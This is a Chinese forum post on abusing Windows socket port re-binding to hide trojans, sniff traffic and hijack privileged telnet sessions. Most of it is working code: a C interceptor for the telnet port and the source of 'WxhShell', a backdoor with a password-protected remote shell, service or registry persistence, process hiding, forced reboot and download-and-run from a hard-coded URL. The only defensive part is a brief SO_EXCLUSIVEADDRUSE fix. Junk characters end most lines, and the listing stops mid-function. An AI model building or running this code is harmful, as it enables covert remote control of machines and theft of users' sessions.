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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y6RbRcJw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~s2la~gu  
h|%a}])G)  
  saddr.sin_family = AF_INET; U(:Di]>{  
i9eE/ .  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |a!]Iqz"N  
\rM5@ Vf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y2aN<>f  
j1O_Az|3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D9JHx+Xf>  
0b}.!k9  
  这意味着什么?意味着可以进行如下的攻击: ZVz`g]  
DCKH^J   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4u= v  
w5`EJp8MC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B &e'n<  
W!V-m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6,~]2H'zq  
|3G;Rh9w,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ttA'RJ  
}=p+X:k=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1#KBf[0  
e.WKf,e"X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +!mEP>  
;r} yeI Sf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <72q^w  
,</Kn~b  
  #include et=i@PB)  
  #include >%LY0(hY3  
  #include hv*XuT/  
  #include    NqM=Nu\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "KgNMNep  
  int main() M9~6ry-_  
  { 1 %8JMq\  
  WORD wVersionRequested; ` <u2 N  
  DWORD ret; Jwpc8MQ  
  WSADATA wsaData; uC%mGZ a  
  BOOL val; [1e]_9)p  
  SOCKADDR_IN saddr; m(`O>zS  
  SOCKADDR_IN scaddr; ! ~tf0aY  
  int err; m qwJya  
  SOCKET s; W3jwc{lj  
  SOCKET sc; xdh%mG:?  
  int caddsize; )E m`kle  
  HANDLE mt; "c+$GS  
  DWORD tid;   iN_P25Z<r  
  wVersionRequested = MAKEWORD( 2, 2 ); gv){&=9/  
  err = WSAStartup( wVersionRequested, &wsaData ); $'<FPbUtD}  
  if ( err != 0 ) { (4|R}jv  
  printf("error!WSAStartup failed!\n"); tIS.,CEQF  
  return -1; 5+UNLvsZ  
  } 0Oa&vx  
  saddr.sin_family = AF_INET; n=?wX#rEC#  
   x[xRqC vL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >[;L.  
M 5$JBnN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bru];%Qg%  
  saddr.sin_port = htons(23); ^SK!? M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v3{%U1>}v  
  { V9jxmu F,  
  printf("error!socket failed!\n"); +ViL"  
  return -1; gq@8Z AWn  
  } }rUAYr~VZ  
  val = TRUE; <s%Ft  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }I1j#d0.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6s'n r7'0  
  { \01 kK)  
  printf("error!setsockopt failed!\n"); = 5[%%Lf  
  return -1; 'Va<GHr>+  
  } U8-OQ:2.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =zu;npM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8nWPt!U:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Uf MQ?(,  
{+GR/l\!#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5{#s<%b.  
  { mX!*|$bs  
  ret=GetLastError(); hA;Ai:8  
  printf("error!bind failed!\n"); [!MS1v c;  
  return -1; sPVE_n  
  } RAnF=1[v  
  listen(s,2); #eX<=H]  
  while(1) A}}dc:$C  
  { *?$M=tH  
  caddsize = sizeof(scaddr); NC Y2^  
  //接受连接请求 3rd8mh&l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ec/>LJDX7  
  if(sc!=INVALID_SOCKET) \ \Tz'>[\  
  { ;)wk ^W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B?yj U[/R  
  if(mt==NULL) :KR KD  
  { Go^TTL   
  printf("Thread Creat Failed!\n"); W-gu*iZ6&  
  break; Dv L8}dz  
  } p&5>j\uJ1&  
  } OZd (~E  
  CloseHandle(mt); @rA V;D%  
  } +95v=[t#Ut  
  closesocket(s); sH_, P  
  WSACleanup(); ml Cg&fnDB  
  return 0; 7S^G]g!x  
  }   BFg&@7.X  
  DWORD WINAPI ClientThread(LPVOID lpParam) -(>Ch>O  
  { T ,jb%uPcE  
  SOCKET ss = (SOCKET)lpParam; L &hw- .Q  
  SOCKET sc; mQR9Pn}H  
  unsigned char buf[4096]; &CSy>7&q  
  SOCKADDR_IN saddr; n\V7^N  
  long num; eB=&(ZT  
  DWORD val; 1r_V$o$  
  DWORD ret; X,#~[%h$-=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mF|KjX~s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $IjI{%  
  saddr.sin_family = AF_INET; { PJ>gX$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); awvP;F?q|  
  saddr.sin_port = htons(23); [ p~,;%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D4{KU%Xp&  
  { ^]'_Qbi]}  
  printf("error!socket failed!\n"); "tl$JbRTY  
  return -1; x#N_h0[i  
  } -`eB4j'7  
  val = 100; 5ya^k{`+ZO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v3FdlE  
  { tq3Rc}  
  ret = GetLastError(); Gyy4zK  
  return -1; CfSP*g0rW  
  } j7Ts&;`[*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W]7/ e  
  { 'L-DMNxBr  
  ret = GetLastError(); o|xZ?#^h  
  return -1; jl&Nphp  
  } %Nv w`H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m&gB;g3:  
  { O !{YwE8x9  
  printf("error!socket connect failed!\n"); zxCx2.7  
  closesocket(sc); `OWHf?t:  
  closesocket(ss); qy)~OBY  
  return -1; ~IjID  
  } h=:/9O{H  
  while(1) jVQ89vf ~  
  { #Xox2{~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dzPewOre*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {vCtp   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \#t)B J2  
  num = recv(ss,buf,4096,0); p/VVb%  
  if(num>0) 2M'dT Xz  
  send(sc,buf,num,0); ktx| c19  
  else if(num==0) _UP fqC ?  
  break; %kV7 <:y  
  num = recv(sc,buf,4096,0); kVs YB  
  if(num>0) Cd"{7<OyM4  
  send(ss,buf,num,0); bIyg7X)/  
  else if(num==0) !Kg ']4  
  break; `(0B09~7  
  } )3:0TFS}}k  
  closesocket(ss); _3yG<'f[Y  
  closesocket(sc); #IM.7`I   
  return 0 ; CCe>*tdf  
  } ~vt9?(h  
ChG7>4:\  
{#k[-\|;  
========================================================== qE8aX*A1/  
Lm2) 3;ei  
下边附上一个代码,,WXhSHELL ~Q]5g7k=&  
%csrNf  
========================================================== qz>R"pj0g  
;s/<wx-C  
#include "stdafx.h" t'Wv? ,  
U\tx{CsSz  
#include <stdio.h> R~k`KuY@!  
#include <string.h> 9DNp  
#include <windows.h> _<F)G,=  
#include <winsock2.h> oIj=ba(n1  
#include <winsvc.h> X&?s:A  
#include <urlmon.h> IUFc_uL@\  
Y -a   
#pragma comment (lib, "Ws2_32.lib") K8_v5  
#pragma comment (lib, "urlmon.lib") 6~x'~T  
g gx_h  
#define MAX_USER   100 // 最大客户端连接数 kY~4AH  
#define BUF_SOCK   200 // sock buffer 3>aEP5  
#define KEY_BUFF   255 // 输入 buffer nJ2x;';lA  
lFyDH{!  
#define REBOOT     0   // 重启 7*{f*({  
#define SHUTDOWN   1   // 关机 bHe' U>  
sjg`4^!wDD  
#define DEF_PORT   5000 // 监听端口 <]M. K3>  
c Rq2 re  
#define REG_LEN     16   // 注册表键长度 W-n4w Ij"  
#define SVC_LEN     80   // NT服务名长度 LnI  
7t:RQ`$:  
// 从dll定义API Q,&Li+u|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MVsFi]-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +y?Ilkk;j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^Fco'nlM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d}[cX9U/  
\:WWrY8&  
// wxhshell配置信息 zXn-E  
struct WSCFG { 3 c=kYcj  
  int ws_port;         // 监听端口 0 5`"U#`:  
  char ws_passstr[REG_LEN]; // 口令 \xkKgI/  
  int ws_autoins;       // 安装标记, 1=yes 0=no "%gsGtS  
  char ws_regname[REG_LEN]; // 注册表键名 l4oyF|oJTH  
  char ws_svcname[REG_LEN]; // 服务名 E[]5Od5#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MYWkEv7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K -U} sW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E^axLp>(I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JNfL jfE)<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !mmMAsd,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W&?Qs=@  
"La;$7ds  
}; MEiP&=gX!  
!qt2,V  
// default Wxhshell configuration D(AH3`*|#  
struct WSCFG wscfg={DEF_PORT, t;e&[eg  
    "xuhuanlingzhe", lM6pYYEq=  
    1, 2s\ClT  
    "Wxhshell", `@/)S^jBau  
    "Wxhshell", AI-*5[w#A  
            "WxhShell Service", -zR<m  
    "Wrsky Windows CmdShell Service", 7>JTQ CJ  
    "Please Input Your Password: ",  )(G9[DG  
  1, o|kykxcq  
  "http://www.wrsky.com/wxhshell.exe", xh;V4zK@`  
  "Wxhshell.exe" zR"c j  
    }; !(GyOAb  
54+(o6E<  
// 消息定义模块 ,&P 4%N"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4Z"}W!A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zse&{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y2u\~.;oq  
char *msg_ws_ext="\n\rExit."; G,u=ngZ]  
char *msg_ws_end="\n\rQuit."; Yj/afn(Jt  
char *msg_ws_boot="\n\rReboot..."; u\]EG{w(  
char *msg_ws_poff="\n\rShutdown..."; >t+U`6xK  
char *msg_ws_down="\n\rSave to "; r;#"j%z  
QNj]wm=mp  
char *msg_ws_err="\n\rErr!"; No^gKh24  
char *msg_ws_ok="\n\rOK!"; Joow{75K  
$%y q[$^  
char ExeFile[MAX_PATH]; i\i%Wi Rl  
int nUser = 0; d*@T30  
HANDLE handles[MAX_USER]; aZOn01v;!&  
int OsIsNt; _f1o!4ocx  
O=B =0  
SERVICE_STATUS       serviceStatus; Pe`(9&iT.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 77P\:xc  
\T7Mt|f:5  
// 函数声明 @(t3<g  
int Install(void); Z>hTL_|]a{  
int Uninstall(void); m2(>KMbi  
int DownloadFile(char *sURL, SOCKET wsh); &N~Eu-@b  
int Boot(int flag); Qs6<(zaqkt  
void HideProc(void); ]I?.1X5d0  
int GetOsVer(void); g6GkA.!X$  
int Wxhshell(SOCKET wsl); ,"v&r(  
void TalkWithClient(void *cs); K d&/9<{>  
int CmdShell(SOCKET sock); (Ou%0 KW  
int StartFromService(void); @-U\!Tf  
int StartWxhshell(LPSTR lpCmdLine); VoU8I ~  
LgqQr6y"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]G/m,Zv*:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BEdCA]T  
uo9#(6  
// 数据结构和表定义 dSM\:/t  
SERVICE_TABLE_ENTRY DispatchTable[] = &V].,12x  
{ +7_qg i7:  
{wscfg.ws_svcname, NTServiceMain}, g'"~'  
{NULL, NULL} }w0pi  
}; eg0_ <  
"+HJ/8Dd1  
// 自我安装 9vI~vl l  
int Install(void) OVg&?fiP  
{ <b 5DX  
  char svExeFile[MAX_PATH]; gabfb#  
  HKEY key; I/E9:  
  strcpy(svExeFile,ExeFile); +VIA@`4  
@8d 3  
// 如果是win9x系统,修改注册表设为自启动 <,i4Ua  
if(!OsIsNt) { DT-VxF6h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )6"}M;v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [doEArwn  
  RegCloseKey(key); TnrBHaxbo4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W06aj ~7Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |]\zlH"w  
  RegCloseKey(key); WAu>p3   
  return 0; %M6 OLq!K  
    } *z0!=>(  
  } DiJLWXs  
} /jv/qk3i  
else { D|uvgu2  
(0-Ol9[  
// 如果是NT以上系统,安装为系统服务 'l*X?ccKy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @G5T8qwN  
if (schSCManager!=0) e@D_0OZ  
{ <jh4P!\&j  
  SC_HANDLE schService = CreateService q}U+BTCZ  
  ( @16GF!.  
  schSCManager, +nYFLe  
  wscfg.ws_svcname, $xO8?  
  wscfg.ws_svcdisp, zdN[Uc+1Bd  
  SERVICE_ALL_ACCESS, +kSu{Tc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Ba]i)!  
  SERVICE_AUTO_START, 0|&@)`  
  SERVICE_ERROR_NORMAL, Ho &Q }<(  
  svExeFile, Ss[[V(-  
  NULL, O}M-6!%<,  
  NULL, u\\t~<8  
  NULL, IeYYG^V<A  
  NULL, sz9W}&(j  
  NULL $ XjijD9R  
  ); dq 93P%X24  
  if (schService!=0) !"^Zr]Qt+\  
  { qTJhYxm  
  CloseServiceHandle(schService); D<WnPLA$g  
  CloseServiceHandle(schSCManager); "i0>>@NR'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >|taU8^|G}  
  strcat(svExeFile,wscfg.ws_svcname); z; GQnAG@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bP18w0>,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (/:m*x*6  
  RegCloseKey(key); ucN' zq  
  return 0; >wW{ $  
    } 2e_ Di(us  
  } \.Lj A_  
  CloseServiceHandle(schSCManager); g p:0Y  
} wf8{v  
} $DHE%IN`  
t;* zr*  
return 1; N/tcW  
} +?J  N_aR  
f,G*e367:  
// 自我卸载 |  0  
int Uninstall(void) M9iX_4  
{ 3](hMk,}  
  HKEY key; /4x\}qvU  
Z^kE]Ir#EV  
if(!OsIsNt) { #W~jQ5NS\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D ,kxB~  
  RegDeleteValue(key,wscfg.ws_regname); n0KpKH<&  
  RegCloseKey(key); N@d~gE&^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *w0!C:mL&  
  RegDeleteValue(key,wscfg.ws_regname); (L(7)WbH  
  RegCloseKey(key); IxbQ6  
  return 0; ^lp=4C9  
  } "xlR>M6e  
} 6 byeO&d  
} ;W- A2g  
else { gTj,I=3$?e  
\5a.JfF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {o~TbnC  
if (schSCManager!=0) uE1;@Dm+  
{ #D9.A7fCc5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'g%:/lwA  
  if (schService!=0) CnZ!b_J  
  { f&<+45JI  
  if(DeleteService(schService)!=0) { JC cYFtW  
  CloseServiceHandle(schService); d88A.Z3w  
  CloseServiceHandle(schSCManager); CcQc!`YC  
  return 0; l8G1N[  
  } w"{DLN[Qw  
  CloseServiceHandle(schService); a3 }V/MY  
  } ]N 9N][n  
  CloseServiceHandle(schSCManager); t=B1yvE "  
} .Y6v#VI  
} [q|W*[B:@  
c^I^jg2v  
return 1; ==Egy:<:Q  
} -Cyo2wk  
ps'_Y<@  
// 从指定url下载文件 kt6)F&;$  
int DownloadFile(char *sURL, SOCKET wsh) LDQ,SS,  
{ yeiIP  
  HRESULT hr; 7"!`<5o^  
char seps[]= "/"; ]@ruizb8  
char *token; 8&U Mmbgy  
char *file; ~61b^L}$  
char myURL[MAX_PATH]; j""ZFh04  
char myFILE[MAX_PATH]; 4s 7 RB  
lk>\6o:  
strcpy(myURL,sURL); *47/BLys<  
  token=strtok(myURL,seps); pVc+}Wzh  
  while(token!=NULL) Xf4~e(O  
  { u)<]Pb})r  
    file=token; v,iZnANZ&P  
  token=strtok(NULL,seps); Lf(( zk:pt  
  } {dZ]+2Z~+  
JlYZ\  
GetCurrentDirectory(MAX_PATH,myFILE); p q`uB  
strcat(myFILE, "\\"); Ah1 9#0  
strcat(myFILE, file); l/={aF7+  
  send(wsh,myFILE,strlen(myFILE),0); >Lo\?X~  
send(wsh,"...",3,0); 1(@$bsgu2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lWYp  
  if(hr==S_OK) <<!fA ><W  
return 0; X.>=&~[  
else u9~5U9]O%6  
return 1; sQ`G'<!  
O[VY|.MEk  
} Tc(=J7*r&  
(T*$4KGV  
// 系统电源模块 s)- ;74(  
int Boot(int flag) d/R!x{$-f  
{ estiS  
  HANDLE hToken; N" L&Z4Z  
  TOKEN_PRIVILEGES tkp; hnFpC1TO  
7 0?iZIK _  
  if(OsIsNt) { X8ulaa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :\|A.# U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }sH[_%)  
    tkp.PrivilegeCount = 1; l L;5*@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o#p%IGG`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dsm1@/"i|7  
if(flag==REBOOT) { U1r]e%df)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w*6b%h%ww  
  return 0; YJv$,Z&;HO  
} gbuh04#~  
else { ]i#p2?BR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B`mJT*B[  
  return 0; tq59w  
} JVu j u$k  
  } '|4+< #  
  else { }R}+8  
if(flag==REBOOT) { `sKyvPtG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g[G /If  
  return 0; 2#7|zhgb  
} ZwDL  
else { W q<t+E[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lndz  
  return 0; q2X::Yqk  
} /Q3>w-h  
} $Er=i }`  
B4b'0p  
return 1; ,m<YS MKX  
} FY'0?CT$  
itzUq,T  
// win9x进程隐藏模块 4<-Kd~uL  
void HideProc(void) Hi09?AX  
{ <gwRE{6U  
;}+M2Ec51  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :C_/K(Rkl  
  if ( hKernel != NULL ) NwF"Zh5eMW  
  { tLOGj?/r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hTDGgSG^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  Lw\u{E@  
    FreeLibrary(hKernel); 3wv@wqx  
  } ;JkIZ8!  
Leb Kzqe  
return; Ve(<s  
} I#MPJ@*WT  
%!\=$s}g  
// 获取操作系统版本 i?/Q7D<P  
int GetOsVer(void) X]y8-}Qf  
{ @_C]5D^J^~  
  OSVERSIONINFO winfo; rT` sY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kx(beaf  
  GetVersionEx(&winfo); MUl`0H"tR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vt5w(}v(  
  return 1; 6vK`J"d{~D  
  else :\~>7VFg  
  return 0; w<B S  
} ]ePg6  
\uTlwS  
// 客户端句柄模块 qA '^b~  
int Wxhshell(SOCKET wsl) %O9Wm_%  
{ 9\Gk)0  
  SOCKET wsh; ?>+uO0*S  
  struct sockaddr_in client; W%+02_/)  
  DWORD myID; J~K O#`  
1vq2`lWpx  
  while(nUser<MAX_USER) IER;d\_V<  
{ _zDS-e@  
  int nSize=sizeof(client); 1#N`elm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i]<@  
  if(wsh==INVALID_SOCKET) return 1; l0G{{R 0Y  
@rT$}O1?`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Cvd3%Jje  
if(handles[nUser]==0) Zw)=Y.y!  
  closesocket(wsh); M;XU"8  
else # fF5O2E'3  
  nUser++; Y"t|0dO%b  
  } .*N,x(V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iY`[dsT  
,$!fyi[;C  
  return 0; R7IFlQH%  
} U`) " ;WN  
IsT}T}p,t  
// 关闭 socket Wg%]  
void CloseIt(SOCKET wsh) rWWp P<  
{ ]foS.D,  
closesocket(wsh); ?6*\  M  
nUser--; L__{U_p  
ExitThread(0); gGNo!'o  
} G-D}J2r=F  
:JBt qpo2  
// 客户端请求句柄 A PSkW9H  
void TalkWithClient(void *cs) r!w4Br0  
{ !}|'1HIC  
x%)oL:ue  
  SOCKET wsh=(SOCKET)cs; t(UBs-t  
  char pwd[SVC_LEN]; `!X8Cn  
  char cmd[KEY_BUFF]; }`Wo(E}O  
char chr[1]; y+^KVEw  
int i,j; KD\%B5Jy  
F+5 5p8  
  while (nUser < MAX_USER) { cC9Zc#aK  
zBca$Vp  
if(wscfg.ws_passstr) { ~2[kCuu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BSkmFd(*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I7h v'3u  
  //ZeroMemory(pwd,KEY_BUFF); .5SYN -@  
      i=0; - ]/=WAOK  
  while(i<SVC_LEN) { 2I suBX\[  
uu-M7>+  
  // 设置超时 "KCG']DF  
  fd_set FdRead; Y x66Xy  
  struct timeval TimeOut; t\:=|t,  
  FD_ZERO(&FdRead); modem6#x'  
  FD_SET(wsh,&FdRead); WOgkv(5KN  
  TimeOut.tv_sec=8; n[;)(  
  TimeOut.tv_usec=0; {Gh9(0,B?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VeEa17g&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ijcF[bm E  
> B;YYj~f}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5%K|dYv^^  
  pwd=chr[0]; 4K~>  
  if(chr[0]==0xd || chr[0]==0xa) { .i;?8?  
  pwd=0;  `uDOIl  
  break; tJ7tZ~Ak  
  } r_8;aPL  
  i++; /Aw@2 6  
    } mWP&N#vwh  
O#!|2qN  
  // 如果是非法用户,关闭 socket jMX+uYx M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rw63{b/  
} c<Ud[x.  
>CcDG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j:8Pcx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tqs|2at<t  
WK0IagYw  
while(1) { %ol1WG9  
oFzmH!&ED  
  ZeroMemory(cmd,KEY_BUFF); L6jwJwD  
ww+,GnV  
      // 自动支持客户端 telnet标准   1;,<UHF8N  
  j=0; 1=X1<@*  
  while(j<KEY_BUFF) { 4UPxV"H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |g !$TUS.  
  cmd[j]=chr[0]; t3v_o4`&  
  if(chr[0]==0xa || chr[0]==0xd) { 6Xn9$C)  
  cmd[j]=0; y\9#"=+  
  break; 150x$~{/  
  } )RWY("SUy1  
  j++; R9K~b^`  
    } (_N(K`4#W  
LOwd mj  
  // 下载文件 L|'B*  
  if(strstr(cmd,"http://")) { bq8h?Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NE &{_i!  
  if(DownloadFile(cmd,wsh)) "d0D8B7HI@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @L 6)RF  
  else tu ;Pm4q7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JZ> (h  
  } s._,IW;   
  else { *vqUOh  
,sg\K> H=  
    switch(cmd[0]) { 0q]0+o*%  
  4`o<e)c3  
  // 帮助 4l> d^L  
  case '?': { X]W(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7^d7:1M  
    break; e;|$nw-  
  } *.T?#H  
  // 安装 {lppv(U  
  case 'i': { lPtML<a  
    if(Install()) /*M3Ns1@2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >V\^oh)t]t  
    else ;Z`R!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j^hLn >  
    break; ['K}p24,  
    } s5*HS3D  
  // 卸载 z'"Y+EWN  
  case 'r': {  5IF$M2j  
    if(Uninstall()) =NNxe"Kd;U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5;HCNwX  
    else $ 1m}lXk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vWa\8yf  
    break; % w  
    } J`{  o`>  
  // 显示 wxhshell 所在路径 }O| 9Qb  
  case 'p': { 2Je]dj4  
    char svExeFile[MAX_PATH]; (S?DKPnR  
    strcpy(svExeFile,"\n\r"); [r'A8!/|[  
      strcat(svExeFile,ExeFile); &H+n0v  
        send(wsh,svExeFile,strlen(svExeFile),0); 7lKatk+7K  
    break; ~mMTfC~9  
    } lJT"aXt'M  
  // 重启 #5{BxX&\  
  case 'b': { ]I zD`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S.<4t*,  
    if(Boot(REBOOT)) G!h75G20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $q .}eb0  
    else { ooC9a>X  
    closesocket(wsh); tE-g]y3  
    ExitThread(0); Z/|=@gpw  
    } GJs~aRiz  
    break; sH > zsc  
    } xH}bX-m  
  // 关机 9jM7z/Ff  
  case 'd': { ?ks.M'@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vJV/3-yX  
